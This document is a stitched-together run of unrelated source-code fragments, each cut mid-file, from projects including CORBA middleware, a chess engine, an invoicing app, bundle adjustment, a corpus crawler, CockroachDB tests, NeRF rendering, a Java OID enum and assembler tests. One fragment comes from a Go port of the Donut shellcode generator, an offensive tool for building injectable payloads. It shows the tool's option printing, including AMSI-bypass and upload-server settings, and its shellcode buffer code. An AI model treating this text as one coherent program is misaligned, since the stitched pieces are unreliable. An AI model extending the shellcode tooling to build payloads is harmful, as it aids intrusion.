      // Obtain the narrowed root POA reference.
      PortableServer::POA_var root_poa =
        PortableServer::POA::_narrow (poa_object.in ());

      // Obtain a reference to the POA manager.
      PortableServer::POAManager_var poa_manager =
        root_poa->the_POAManager ();

       // Now some boiler plate code to obtain a reference to the
       // naming service.....

      // Resolve a reference to the naming service.
      CORBA::Object_var naming_obj =
        this->orb_->resolve_initial_references ("NameService");
      if (CORBA::is_nil (naming_obj.in ()))
        ACE_ERROR_RETURN ((LM_ERROR,
                           " (%P|%t) Unable to get the Naming Service.\n"),
                          1);

      // Narrow the naming service reference.
      CosNaming::NamingContext_var naming_context =
        CosNaming::NamingContext::_narrow (naming_obj.in ());

      // Use the Naming Service to locate the Scheduling Service and
      // use the Scheduler_Factory to keep a global pointer to the
      // latter.

      // Initialize the scheduler factory to operate in configuration mode.
      if (ACE_Scheduler_Factory::use_config (naming_context.in ()) == -1)
        return -1;

      // Use the Naming Service to locate the Event Service....

      // Set up the event service lookup name.
      CosNaming::Name name (1);
      name.length (1);
      name[0].id = CORBA::string_dup ("EventService");


 castling_to, BITS.QSIDE_CASTLE)
          }
        }
      }

      /* return all pseudo-legal moves (this includes moves that allow the king
       * to be captured)
       */
      if (!legal) {
        return moves
      }

      /* filter out illegal moves */
      var legal_moves = []
      for (var i = 0, len = moves.length; i < len; i++) {
        make_move(moves[i])
        if (!king_attacked(us)) {
          legal_moves.push(moves[i])
        }
        undo_move()
      }

      return legal_moves
    }

    /* convert a move from 0x88 coordinates to Standard Algebraic Notation
     * (SAN)
     *
     * @param {boolean} sloppy Use the sloppy SAN generator to work around over
     * disambiguation bugs in Fritz and Chessbase.  See below:
     *
     * r1bqkbnr/ppp2ppp/2n5/1B1pP3/4P3/8/PPPP2PP/RNBQK1NR b KQkq - 2 4
     * 4. ... Nge7 is overly disambiguated because the knight on c6 is pinned
     * 4. ... Ne7 is technically the valid SAN
     */
    function move_to_san(move, sloppy) {
      var output = ''

      if (move.flags & BITS.KSIDE_CASTLE) {
        output = 'O-O'
      } else if (move.flags & BITS.QSIDE_CASTLE) {
        output = 'O-O-O'
      } else {
        var disambiguator = get_disambiguator(move, sloppy)

        if (move.piece !== PAWN) {
          output += move.piece.toUpperCase() + disambiguator
        }

        if (move.flags & (BITS.CAPTURE | BITS.EP_CAPTURE)) {
          if (move.piece === PAWN) {
            output += algebraic(move.from)[0]
          }
          output += 'x'
        }

        output += algebraic(move.to)

        if (move.flags & BITS.PROMOTION) {
          output += '=' + move.promotion.toUpperCase()
        }
      }

      make_move(move)
      if (in_check()) {
        if (in_checkmate()) {
          output += '#'
        } else {
          output += '+'
        }
      }
      undo_move()

      return output
    }

    // parses all of the decorators out of a SAN string
    function stripped_san(move) {
      return move.replace(/=/, '').replace(/[+#]?[?!]*$/, '')
    }

    function attacked(color, square) {
      for (var i = SQUARES.a8; i <= SQUARES.h1; i++) {
        /* did we run off the end of the board */
        if (i & 0x88) {
          i += 7
          continue
        }

        /* if empty square or wrong color */
        if (board[i] == null || board[i].color !== color) continue

        var piece = board[i]
        var difference = i - square
        var index = difference + 119

        if (ATTACKS[index] & (1 << SHIFTS[piece.type])) {
          if (piece.type === PAWN) {
            if (difference > 0) {
              if (piece.color === WHITE) return true
            } else {
              if (piece.color === BLACK) return true
            }
            continue
          }

          /* if the piece is a knight or a king */
          if (piece.type === 'n' || piece.type === 'k') return true

          var offset = RAYS[index]
          var j = i + offset

          var blocked = false
          while (j !== square) {
            if (board[j] != null) {
              blocked = true
              break


 createdUserId;

  String? _assignedUserId;
  String? get assignedUserId => _$this._assignedUserId;
  set assignedUserId(String? assignedUserId) =>
      _$this._assignedUserId = assignedUserId;

  EntityType? _entityType;
  EntityType? get entityType => _$this._entityType;
  set entityType(EntityType? entityType) => _$this._entityType = entityType;

  String? _id;
  String? get id => _$this._id;
  set id(String? id) => _$this._id = id;

  CompanyEntityBuilder() {
    CompanyEntity._initializeBuilder(this);
  }

  CompanyEntityBuilder get _$this {
    final $v = _$v;
    if ($v != null) {
      _enableCustomSurchargeTaxes1 = $v.enableCustomSurchargeTaxes1;
      _enableCustomSurchargeTaxes2 = $v.enableCustomSurchargeTaxes2;
      _enableCustomSurchargeTaxes3 = $v.enableCustomSurchargeTaxes3;
      _enableCustomSurchargeTaxes4 = $v.enableCustomSurchargeTaxes4;
      _sizeId = $v.sizeId;
      _industryId = $v.industryId;
      _subdomain = $v.subdomain;
      _portalMode = $v.portalMode;
      _portalDomain = $v.portalDomain;
      _updateProducts = $v.updateProducts;
      _convertProductExchangeRate = $v.convertProductExchangeRate;
      _convertRateToClient = $v.convertRateToClient;
      _fillProducts = $v.fillProducts;
      _enableProductCost = $v.enableProductCost;
      _enableProductQuantity = $v.enableProductQuantity;
      _enableProductDiscount = $v.enableProductDiscount;
      _defaultTaskIsDateBased = $v.defaultTaskIsDateBased;
      _defaultQuantity = $v.defaultQuantity;
      _showProductDetails = $v.showProductDetails;
      _clientCanRegister = $v.clientCanRegister;
      _isLarge = $v.isLarge;
      _isDisabled = $v.isDisabled;
      _enableShopApi = $v.enableShopApi;
      _companyKey = $v.companyKey;
      _firstDayOfWeek = $v.firstDayOfWeek;
      _firstMonthOfYear = $v.firstMonthOfYear;
      _numberOfInvoiceTaxRates = $v.numberOfInvoiceTaxRates;
      _numberOfItemTaxRates = $v.numberOfItemTaxRates;
      _numberOfExpenseTaxRates = $v.numberOfExpenseTaxRates;
      _expenseInclusiveTaxes = $v.expenseInclusiveTaxes;
      _sessionTimeout = $v.sessionTimeout;
      _passwordTimeout = $v.passwordTimeout;
      _oauthPasswordRequired = $v.oauthPasswordRequired;
      _markdownEnabled = $v.markdownEnabled;
      _markdownEmailEnabled = $v.markdownEmailEnabled;
      _useCommaAsDecimalPlace = $v.useCommaAsDecimalPlace;
      _reportIncludeDrafts = $v.reportIncludeDrafts;
      _reportIncludeDeleted = $v.reportIncludeDeleted;
      _useQuoteTermsOnConversion = $v.useQuoteTermsOnConversion;
      _enableApplyingPayments = $v.enableApplyingPayments;
      _trackInventory = $v.trackInventory;
      _stockNotificationThreshold = $v.stockNotificationThreshold;
      _stockNotification = $v.stockNotification;
      _invoiceTaskLock = $v.invoiceTaskLock;
      _convertPaymentCurrency = $v.convertPaymentCurrency;
      _convertExpenseCurrency = $v.convertExpenseCurrency;
      _notifyVendorWhenPaid = $v.notifyVendorWhenPaid;
      _smtpHost = $v.smtpHost;


c0)->second--;
                  }
              }
            remtrs.push_back(tri); // save for deletion
          }
      }

    int hms = 0;
    for (int i=0; i<(int)remtrs.size(); i++)
      {
        int s = tracks[remtrs[i]].projections.size();
        hms += s*(s+1)/2;
      }

    cout << "[RemExcessTracks] Can erase " << remtrs.size() << " tracks with " << hms << " H entries" << endl;

    std::sort(remtrs.begin(),remtrs.end()); // sort into ascending order

    std::vector<Track, Eigen::aligned_allocator<Track> > trs;

    // delete elements into new vectors
    int n = 0;                  // index into rem()
    int ii = 0;
    for (int i=0; i<npts; i++)
      {
        if ((int)remtrs.size()>n && i == remtrs[n]) // skip this element
          {
            n++;
            continue;
          }
        // vector<MonoProj, Eigen::aligned_allocator<MonoProj> > &prjs = tracks[i];
        /*for (int j=0; j<(int)prjs.size(); j++)
          prjs[j].pti = ii; */
        trs.push_back(tracks[i]);
        ii++;
      }

    cout << "[RemExcessTracks] Erased " << n << " tracks" << endl;

    // transfer vectors
    tracks.resize(trs.size());
    tracks = trs;

    return remtrs.size();
  }

  // Set up linear system, from Engels and Nister 2006, Table 1, steps 3 and 4
  // This is a relatively compact version of the algorithm!
  // Assumes camera transforms and derivatives have already been computed,
  // but not projection Jacobians

void SysSBA::setupSys(double sLambda)
  {
    // set matrix sizes and clear (step 3)
    int nFree = nodes.size() - nFixed;
    A.setZero(6*nFree,6*nFree);
    B.setZero(6*nFree);
    VectorXi dcnt(nFree);
    dcnt.setZero(nFree);

    // lambda augmentation
    double lam = 1.0 + sLambda;

    // loop over tracks (step 4)
    for(size_t pi=0; pi<tracks.size(); pi++)
      {
        ProjMap &prjs = tracks[pi].projections;
        if (prjs.size() < 1) continue; // this catches some problems with bad tracks

	// Jacobian product storage
	if (prjs.size() > jps.size())
	  jps.resize(prjs.size());

	// local storage
        Matrix3d Hpp;
        Hpp.setZero();            // zero it out
        Vector3d bp;
        bp.setZero();

        // "compute derivates" of step 4
        // assume error has already been calculated in the cost function
	int ii=0;
        for(ProjMap::iterator itr = prjs.begin(); itr != prjs.end(); itr++, ii++)
          {
            Proj &prj = itr->second;
            if (!prj.isValid) continue;
            int ci = (prj.ndi - nFixed) * 6; // index of camera params (6DOF)
                                             // NOTE: assumes fixed cams are at beginning
            prj.setJacobians(nodes[prj.ndi],tracks[pi].point,&jps[ii]); // calculate derivatives
            Hpp += prj.jp->Hpp; // add in JpT*Jp
            bp  -= prj.jp->Bp; // subtract JcT*f from bp; compute transpose twice???

            if (!nodes[prj.ndi].isFixed)  // if not a fixed camera, do more
              {
                dcnt(prj.ndi - nFixed)++;
                // NOTE: A is symmetric, only need the upper/lower triangular part
                A


# coding: utf-8
#
# Copyright 2017 Google Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#      http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

from __future__ import absolute_import, print_function, unicode_literals
import re
from corpuscrawler.util import clean_paragraphs, crawl_udhr, extract, \
    urlencode, urljoin, crawl_bibleis

def crawl(crawler):
    out = crawler.get_output(language='ba')
    # As of November 2017, the Unicode UDHR project has no Bashkir translation.
    # crawl_udhr(crawler, out, filename='udhr_bak.txt')
    _crawl_yaikrb_ru(crawler, out)
    crawl_bibleis(crawler, out, 'BAKIBT')

def _crawl_yaikrb_ru(crawler, out):
    urls = set()
    # The site has an incomplete sitemap, so we also look at the archive pages.
    sitemap = crawler.fetch_sitemap('http://yaikrb.ru/sitemap.xml')
    for url in sorted(sitemap):
        crawler.fetch_content(url)
    main = crawler.fetch_content('http://yaikrb.ru/')
    archives = set([str(x) for x in range(1, 150)])
    archives.update(re.findall(r'/xf/num/([^/]+)/', main))
    for a in sorted(archives):
        doc = crawler.fetch(urlencode('http://yaikrb.ru/xf/num/%s/' % a))
        if doc.status != 200:
            continue
        for href in re.findall(r'
<a href="([^"]+)"',
                               doc.content.decode('utf-8')):
            urls.add(urljoin('http://yaikrb.ru/', href, allow_fragments=False))
    for url in sorted(urls):
        doc = crawler.fetch(url)
        if doc.status != 200:
            continue
        html = doc.content.decode('utf-8')
        title = re.search('<meta property="og:title" content="([^"]+)"', html)
        title = title.group(1) if title else ''
        text = extract('
', '
', html)
        paras = clean_paragraphs('
' + title + '
' + text)
        if not paras:
            continue
        pubdate = re.search(
            r'(\d{1,2})\.(\d{1,2})\.(20\d{2})\s*
', html)
        if pubdate is not None:
            pubdate = '%s-%s-%s' % (pubdate.group(3),
                                    pubdate.group(2), pubdate.group(1))
        out.write('# Location: %s\n' % url)
        out.write('# Genre: News\n')
        if pubdate:
            out.write('# Publication-Date: %s\n' % pubdate)
        out.write('\n'.join(paras) + '\n')


== DONUT_MODULE_DLL {
		method := "DllMain"
		if o.Module.Method[0] != 0 {
			method = string(o.Module.Method[:])
		}
		fmt.Println("    Function             :", method)
	}

	fmt.Println("[Instance]")
	fmt.Println("    Type       :", o.Instance.Type.Name())
	fmt.Println("    Length     :", o.Instance.Len)
	fmt.Println("    Exit       :", o.Instance.ExitOpt.Name())
	fmt.Println("    Entropy    :", o.Instance.Entropy.Name())
	fmt.Println("    Bypass     :", o.Instance.Bypass.Name())
	fmt.Println("    PE Headers :", o.Instance.Headers.Name())
	if o.Instance.OEP != 0 {
		fmt.Printf("    OEP        : 0x%08X\n", o.Instance.OEP)
	}
	if o.Instance.Decoy[0] != 0x00 {
		fmt.Println("    Decoy      :", string(o.Instance.Decoy[:]))
	}

	fmt.Println("[Output]")
	fmt.Println("    File         :", o.Config.Output)
	fmt.Println("    Format       :", o.Config.Format.Name())
	fmt.Println("    Length       :", len(o.PicData))
	if o.Config.InstanceType == DONUT_INSTANCE_HTTP {
		fmt.Println("    ModuleName   :", o.Config.ModuleName)
		fmt.Println("    Upload to    :", o.Config.Server)
	}
}

func New(c *Config) *Gonut {
	if c.Headers == 0 {
		c.Headers = DONUT_HEADERS_OVERWRITE // 设置默认值
	}

	return &Gonut{
		Config: c,
	}
}

// FileInfo
// donut/include/donut.h
// typedef struct _file_info_t { ... }
type FileInfo struct {
	Data  []byte
	ZData []byte

	Type ModuleType
	Arch ArchType
	Ver  string

	PeFile *pe.File
}

func (f *FileInfo) Len() uint32 {
	return uint32(len(f.Data))
}

func (f *FileInfo) ZLen() uint32 {
	return uint32(len(f.ZData))
}

/*
#define PUT_BYTE(p, v)     { *(uint8_t *)(p) = (uint8_t) (v); p = (uint8_t*)p + 1; }
#define PUT_HWORD(p, v)    { t=v; memcpy((char*)p, (char*)&t, 2); p = (uint8_t*)p + 2; }
#define PUT_WORD(p, v)     { t=v; memcpy((char*)p, (char*)&t, 4); p = (uint8_t*)p + 4; }
#define PUT_BYTES(p, v, n) { memcpy(p, v, n); p = (uint8_t*)p + n; }
*/

type PicGenerator struct {
	buffer *bytes.Buffer
	length uint32
}

func (p *PicGenerator) PutByte(c byte) {
	p.buffer.WriteByte(c)
}

func (p *PicGenerator) PutUint32(v uint32) {
	b := make([]byte, 4) // 32/8=4
	binary.LittleEndian.PutUint32(b, v)
	p.PutBytes(b)
}

func (p *PicGenerator) PutBytes(v []byte) {
	p.buffer.Write(v)
}

func (p *PicGenerator) Result() []byte {
	padding := make([]byte, int(p.length)-p.buffer.Len())
	return append(p.buffer.Bytes(), padding...)
}

func NewPicGenerator(length uint32) *PicGenerator {
	return &PicGenerator{
		buffer: bytes.NewBuffer(nil),
		length: length


    "Childe": [
        "NNP"
    ],
    "Hack": [
        "NNP"
    ],
    "Refrigeration": [
        "NN",
        "NNP"
    ],
    "counter-arguments": [
        "NNS"
    ],
    "thirsted": [
        "VBN"
    ],
    "niceties": [
        "NNS"
    ],
    "greenmailer": [
        "NN"
    ],
    "Threats": [
        "NNS"
    ],
    "Jewelry": [
        "NN"
    ],
    "Gerald": [
        "NNP"
    ],
    "ascend": [
        "VB"
    ],
    "eyelets": [
        "NNS"
    ],
    "Amazing": [
        "JJ",
        "NNP"
    ],
    "Dr.": [
        "NNP"
    ],
    "Selectmen": [
        "NNS"
    ],
    "Hamiltonians": [
        "NNPS"
    ],
    "ascent": [
        "NN"
    ],
    "Douglass": [
        "NNP"
    ],
    "ADDED": [
        "VBD"
    ],
    "jonron": [
        "FW"
    ],
    "colonial": [
        "JJ",
        "NN"
    ],
    "drug-addled": [
        "JJ"
    ],
    "extensively": [
        "RB"
    ],
    "Conde": [
        "NNP"
    ],
    "pioneer": [
        "NN",
        "VB"
    ],
    "Fidis": [
        "NNP"
    ],
    "highbrow": [
        "JJ"
    ],
    "linoleum": [
        "NN"
    ],
    "windbreaks": [
        "NNS"
    ],
    "intravenous": [
        "JJ"
    ],
    "grafting": [
        "VBG"
    ],
    "Dry": [
        "NNP",
        "JJ"
    ],
    "Dinsmore": [
        "NNP"
    ],
    "sprint": [
        "NN"
    ],
    "Coping": [
        "VBG"
    ],
    "Dru": [
        "NNP"
    ],
    "dictators": [
        "NNS"
    ],
    "Wesker": [
        "NNP"
    ],
    "Goodbye": [
        "NNP",
        "UH"
    ],
    "arithmetical": [
        "JJ"
    ],
    "Litvinchuk": [
        "NNP"
    ],
    "Rambo": [
        "NNP"
    ],
    "fringe": [
        "NN",
        "JJ"
    ],
    "adman": [
        "NN"
    ],
    "helpmate": [
        "NN"
    ],
    "Kyong": [
        "NNP"
    ],
    "water-soluble": [
        "JJ"
    ],
    "CREAM": [
        "NNP"
    ],
    "checkup": [
        "NN"
    ],
    "Bagging": [
        "VBG"
    ],
    "memorials": [
        "NNS"
    ],
    "bricklayers": [
        "NNS"
    ],
    "implantation": [
        "NN"
    ],
    "Bowl": [
        "NNP"
    ],
    "blessed": [
        "VBN",
        "JJ",
        "VBD"
    ],
    "references": [
        "NNS"
    ],
    "dreaming": [
        "VBG",
        "NN"
    ],
    "Flagler": [
        "NNP"
    ],
    "annoys": [
        "VBZ"
    ],


// Replica state.
			existingTxn: abortedRecord,
			// Request state.
			headerTxn: headerTxn,
			commit:    true,
			// Expected result.
			expError: "TransactionAbortedError(ABORT_REASON_ABORTED_RECORD_FOUND)",
		},
	}
	for _, c := range testCases {
		t.Run(c.name, func(t *testing.T) {
			db := storage.NewDefaultInMem()
			defer db.Close()
			batch := db.NewBatch()
			defer batch.Close()

			// Write the existing transaction record, if necessary.
			txnKey := keys.TransactionKey(txn.Key, txn.ID)
			if c.existingTxn != nil {
				if err := storage.MVCCPutProto(ctx, batch, nil, txnKey, hlc.Timestamp{}, nil, c.existingTxn); err != nil {
					t.Fatal(err)
				}
			}

			// Sanity check request args.
			if !c.commit {
				require.Nil(t, c.inFlightWrites)
				require.Nil(t, c.deadline)
			}

			// Issue an EndTxn request.
			req := roachpb.EndTxnRequest{
				RequestHeader: roachpb.RequestHeader{Key: txn.Key},
				Commit:        c.commit,

				InFlightWrites: c.inFlightWrites,
				Deadline:       c.deadline,
			}
			if !c.noLockSpans {
				req.LockSpans = intents
			}
			var resp roachpb.EndTxnResponse
			_, err := EndTxn(ctx, batch, CommandArgs{
				EvalCtx: (&MockEvalCtx{
					Desc:      &desc,
					AbortSpan: as,
					CanCreateTxn: func() (bool, hlc.Timestamp, roachpb.TransactionAbortedReason) {
						require.NotNil(t, c.canCreateTxn, "CanCreateTxnRecord unexpectedly called")
						if can, minTS := c.canCreateTxn(); can {
							return true, minTS, 0
						}
						return false, hlc.Timestamp{}, roachpb.ABORT_REASON_ABORTED_RECORD_FOUND
					},
				}).EvalContext(),
				Args: &req,
				Header: roachpb.Header{
					Timestamp: ts,
					Txn:       c.headerTxn,
				},
			}, &resp)

			if c.expError != "" {
				if !testutils.IsError(err, regexp.QuoteMeta(c.expError)) {
					t.Fatalf("expected error %q; found %v", c.expError, err)
				}
			} else {
				if err != nil {
					t.Fatal(err)
				}

				// Assert that the txn record is written as expected.
				var resTxnRecord roachpb.TransactionRecord
				if ok, err := storage.MVCCGetProto(
					ctx, batch, txnKey, hlc.Timestamp{}, &resTxnRecord, storage.MVCCGetOptions{},
				); err != nil {
					t.Fatal(err)
				} else if c.expTxn == nil {
					require.False(t, ok, "unexpected transaction record found")
				} else {
					require.True(t, ok, "expected transaction record, one not found")
					require.Equal(t, *c.expTxn, resTxnRecord)
				}
			}
		})
	}
}

// TestPartialRollbackOnEndTransaction verifies that the intent
// resolution performed synchronously as a side effect of
// EndTransaction request properly takes into account the ignored
// seqnum list.
func TestPartialRollbackOnEndTransaction(t *testing.T) {
	defer leaktest.AfterTest(t)()

	ctx := context.Background()
	k := roachpb.Key("a")
	ts := hlc.Timestamp{WallTime: 1}
	ts2 := hlc.Timestamp{WallTime: 2}
	txn := roachpb.MakeTransaction("test", k, 0, ts, 0)
	endKey := roachpb.Key("z")
	desc := roachpb.RangeDescriptor{
		RangeID:  99,
		StartKey: roachpb.RKey(k),
		EndKey:   roachpb.RKey(endKey),
	}


               n2=N_samples + N_importance + 1)
        appearance_fine_encode = repeat(appearance_encode,
                'n1 c -> (n1 n2) c', n2=N_samples + N_importance + 1)
        exp_fine_encode = repeat(exp_encode, 'n1 c -> (n1 n2) c',
                                 n2=N_samples + N_importance + 1)

        xyzdir_fine_encode_f_variance = torch.cat([sample_fine_encode,
                dir_fine_encode, exp_fine_encode,
                appearance_fine_encode], dim=-1)
        xyzdir_fine_encode_f_v = torch.cat([sample_fine_encode,
                dir_fine_encode], dim=-1)

        out_fine_rgb_sigma = []
        out_fine_visibility = []
        for i in range(0, xyzdir_fine_encode_f_variance.shape[0],
                       chunk):
            result = models['block_model'
                            ](xyzdir_fine_encode_f_variance[i:i
                              + chunk])
            out_fine_rgb_sigma.append(result)
        out_fine_rgb_sigma = torch.cat(out_fine_rgb_sigma, 0)
        out_fine_rgb_sigma = rearrange(out_fine_rgb_sigma,
                '(n1 n2) c -> n1 n2 c', n1=N_rays, n2=N_samples
                + N_importance + 1, c=4)

        for i in range(0, xyzdir_fine_encode_f_v.shape[0], chunk):
            result = models['visibility_model'
                            ](xyzdir_fine_encode_f_v[i:i + chunk])
            out_fine_visibility.append(result)
        out_fine_visibility = torch.cat(out_fine_visibility, 0)
        out_fine_visibility = rearrange(out_fine_visibility,
                '(n1 n2) c -> n1 n2 c', n1=N_rays, n2=N_samples
                + N_importance + 1, c=1)

        rgbs_fine = out_fine_rgb_sigma[..., :3]
        sigmas_fine = out_fine_rgb_sigma[..., 3]
        results_fine = volume_rendering(rgbs_fine, sigmas_fine,
                z_vals_fine, mean_t_fine)

        result = {}
        result['rgb_fine'] = results_fine['rgb']
        result['depth_fine'] = results_fine['depth']
        result['transmittance_fine_vis'] = out_fine_visibility.squeeze()
        return result


    sect113r2("1.3.132.0.5"),
    secp112r1("1.3.132.0.6"),
    secp112r2("1.3.132.0.7"),
    secp160r1("1.3.132.0.8"),
    secp160k1("1.3.132.0.9"),
    secp256k1("1.3.132.0.10"),
    sect163r2("1.3.132.0.15", "sect163r2", "NIST B-163"),
    sect283k1("1.3.132.0.16", "sect283k1", "NIST K-283"),
    sect283r1("1.3.132.0.17", "sect283r1", "NIST B-283"),

    sect131r1("1.3.132.0.22"),
    sect131r2("1.3.132.0.23"),
    sect193r1("1.3.132.0.24"),
    sect193r2("1.3.132.0.25"),
    sect233k1("1.3.132.0.26", "sect233k1", "NIST K-233"),
    sect233r1("1.3.132.0.27", "sect233r1", "NIST B-233"),
    secp128r1("1.3.132.0.28"),
    secp128r2("1.3.132.0.29"),
    secp160r2("1.3.132.0.30"),
    secp192k1("1.3.132.0.31"),
    secp224k1("1.3.132.0.32"),
    secp224r1("1.3.132.0.33", "secp224r1", "NIST P-224"),
    secp384r1("1.3.132.0.34", "secp384r1", "NIST P-384"),
    secp521r1("1.3.132.0.35", "secp521r1", "NIST P-521"),
    sect409k1("1.3.132.0.36", "sect409k1", "NIST K-409"),
    sect409r1("1.3.132.0.37", "sect409r1", "NIST B-409"),
    sect571k1("1.3.132.0.38", "sect571k1", "NIST K-571"),
    sect571r1("1.3.132.0.39", "sect571r1", "NIST B-571"),

    ECDH("1.3.132.1.12"),

    // OIW secsig 1.3.14.3.*
    OIW_DES_CBC("1.3.14.3.2.7", "DES/CBC", "DES"),

    OIW_DSA("1.3.14.3.2.12", "DSA"),

    OIW_JDK_SHA1withDSA("1.3.14.3.2.13", "SHA1withDSA"),

    OIW_SHA1withRSA_Odd("1.3.14.3.2.15", "SHA1withRSA"),

    DESede("1.3.14.3.2.17", "DESede"),

    SHA_1("1.3.14.3.2.26", "SHA-1", "SHA", "SHA1"),

    OIW_SHA1withDSA("1.3.14.3.2.27", "SHA1withDSA"),

    OIW_SHA1withRSA("1.3.14.3.2.29", "SHA1withRSA"),

    // Thawte 1.3.101.*
    X25519("1.3.101.110"),
    X448("1.3.101.111"),
    Ed25519("1.3.101.112"),
    Ed448("1.3.101.113"),

    // University College London (UCL) 0.9.2342.19200300.*
    UCL_UserID("0.9.2342.19200300.100.1.1"),


else{
										range = dojo.global.window.document.selection.createRange();
										pos = range.getBoundingClientRect();
										doh.t(pos.right > pos.left, "selected text " + pos.left + '. ' + pos.right);
									}
								}), 300);
							});

							return d;
						}
					},
					{
						name: "text direction paste Hebrew before English",
						timeout: 5000,

						runTest: function(){
							var d = new doh.Deferred();

							focusThenRun(textBox, function(){
								doh.robot.setClipboard("\u05d0\u05e0\u05d9\u0020\u05d0\u05d5\u05de\u05e8\u05ea\u003a\u0020",'text/html');

								dojo.isMac ? doh.robot.keyPress("a", 100, {ctrl:true}): doh.robot.keyPress(dojo.keys.HOME, 100, {});

								doh.robot.keyPress("v", 400, modifier);
								// select text from the right side of the textbox
								doh.robot.mouseMoveAt(textBox.focusNode, 50, 100, textBox.focusNode.offsetWidth-5, textBox.focusNode.offsetHeight >> 1);
								doh.robot.mousePress({left:true}, 500);
								doh.robot.mouseMoveAt(textBox.focusNode, 50, 1000, textBox.focusNode.offsetWidth-20, textBox.focusNode.offsetHeight >> 1);
								doh.robot.mouseRelease({left:true}, 500);
								doh.robot.sequence(d.getTestCallback(function(){
									doh.is("rtl",textBox.focusNode.dir,"direction of :" + textBox.id);
									// verify text was selected from the right side of the textbox
									if(textBox.focusNode.selectionEnd){
										doh.t(textBox.focusNode.selectionEnd > textBox.focusNode.selectionStart, "selected text " + textBox.focusNode.selectionStart + '. ' + textBox.focusNode.selectionEnd);
									}else{
										range = dojo.global.window.document.selection.createRange();
										pos = range.getBoundingClientRect();
										doh.t(pos.right > pos.left, "selected text " + pos.left + '. ' + pos.right);
									}
								}), 400);
							});

							return d;
						}
					}
				]);

				doh.register("test the programmatic textBox in the tab container", [
					{
						name: "initial direction of the textBoxs",

						setUp: function(){
							textBox1 = dijit.byId("programmatic1");
							textBox2 = dijit.byId("programmatic2");
							textBox3 = dijit.byId("programmatic3");
						},

						runTest: function(){
							doh.is("ltr",textBox1.focusNode.dir,"Initial direction of - 'programmatic'");
							doh.is("rtl",textBox2.focusNode.dir,"Initial direction of - 'programmatic'");
							doh.is("ltr",textBox3.focusNode.dir,"Initial direction of - 'programmatic'");
						}
					},
					{
						name: "direction of textBoxs after change value button in second tab is pressed",

						runTest: function(){
							var button = dojo.byId("changeValue");

							button.click();

							doh.is("ltr",textBox1.focusNode.dir,"Initial direction of - 'programmatic'");
							doh.is("rtl",textBox2.focusNode.dir,"Initial direction of - 'programmatic'");
							doh.is("rtl",textBox3.focusNode.dir,"Initial direction of - 'programmatic'");
						}
					}
				]);

				doh.run();
			});
		</script>
	</head>
</html>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
		"http://www.w3.org/TR


d:UNUSED_PAD src0_sel:BYTE_2
// GFX10: encoding: [0xf9,0x7e,0x0a,0x7e,0x01,0x06,0x02,0x00]

v_frexp_exp_i32_f32_sdwa v5, v1 dst_sel:DWORD dst_unused:UNUSED_PAD src0_sel:BYTE_3
// GFX10: encoding: [0xf9,0x7e,0x0a,0x7e,0x01,0x06,0x03,0x00]

v_frexp_exp_i32_f32_sdwa v5, v1 dst_sel:DWORD dst_unused:UNUSED_PAD src0_sel:WORD_0
// GFX10: encoding: [0xf9,0x7e,0x0a,0x7e,0x01,0x06,0x04,0x00]

v_frexp_exp_i32_f32_sdwa v5, v1 dst_sel:DWORD dst_unused:UNUSED_PAD src0_sel:WORD_1
// GFX10: encoding: [0xf9,0x7e,0x0a,0x7e,0x01,0x06,0x05,0x00]

v_frexp_exp_i32_f32_sdwa v5, -v1 dst_sel:DWORD dst_unused:UNUSED_PAD src0_sel:DWORD
// GFX10: encoding: [0xf9,0x7e,0x0a,0x7e,0x01,0x06,0x16,0x00]

v_frexp_exp_i32_f32_sdwa v5, |v1| dst_sel:DWORD dst_unused:UNUSED_PAD src0_sel:DWORD
// GFX10: encoding: [0xf9,0x7e,0x0a,0x7e,0x01,0x06,0x26,0x00]

v_frexp_exp_i32_f32_dpp v5, v1 quad_perm:[0,1,2,3] row_mask:0x0 bank_mask:0x0
// GFX10: encoding: [0xfa,0x7e,0x0a,0x7e,0x01,0xe4,0x00,0x00]

v_frexp_exp_i32_f32_dpp v255, v1 quad_perm:[0,1,2,3] row_mask:0x0 bank_mask:0x0
// GFX10: encoding: [0xfa,0x7e,0xfe,0x7f,0x01,0xe4,0x00,0x00]

v_frexp_exp_i32_f32_dpp v5, v255 quad_perm:[0,1,2,3] row_mask:0x0 bank_mask:0x0
// GFX10: encoding: [0xfa,0x7e,0x0a,0x7e,0xff,0xe4,0x00,0x00]

v_frexp_exp_i32_f32_dpp v5, v1 quad_perm:[3,2,1,0] row_mask:0x0 bank_mask:0x0
// GFX10: encoding: [0xfa,0x7e,0x0a,0x7e,0x01,0x1b,0x00,0x00]

v_frexp_exp_i32_f32_dpp v5, v1 row_mirror row_mask:0x0 bank_mask:0x0
// GFX10: encoding: [0xfa,0x7e,0x0a,0x7e,0x01,0x40,0x01,0x00]

v_frexp_exp_i32_f32_dpp v5, v1 row_half_mirror row_mask:0x0 bank_mask:0x0
// GFX10: encoding: [0xfa,0x


g get staticString => '';
  static set staticString(Object? value) {}
  static String? get staticStringQuestion => null;
  // Note: for most of the tests below, the write type of the setter doesn't
  // matter (which is why all the setters above use a write type of `Object?`).
  // But we need at least one test case where the write type is something
  // different, to make sure it's properly reflected in the context for the
  // right hand side of `??=`. So for this setter we use a write type of
  // `String?`.
  static set staticStringQuestion(String? value) {}
}

main() {
  // - An if-null assignment `e` of the form `e1 ??= e2` with context type K is
  //   analyzed as follows:
  //
  //   - Let T1 be the read type of `e1`. This is the static type that `e1`
  //     would have as an expression with a context type schema of `_`.
  //   - Let T2 be the type of `e2` inferred with context type J, where:
  //     - If the lvalue is a local variable, J is the current (possibly
  //       promoted) type of the variable.
  //     - Otherwise, J is the write type `e1`. This is the type schema that the
  //       setter associated with `e1` imposes on its single argument (or, for
  //       the case of indexed assignment, the type schema that `operator[]=`
  //       imposes on its second argument).
  {
    // Check the context type of `e`.
    // ignore: dead_null_aware_expression
    Test.staticString ??= contextType('')..expectStaticType<Exactly<Object?>>();

    Test.staticStringQuestion ??= contextType('')
      ..expectStaticType<Exactly<String?>>();
  }

  //   - Let J' be the unpromoted write type of `e1`, defined as follows:
  //     - If `e1` is a local variable, J' is the declared (unpromoted) type of
  //       `e1`.
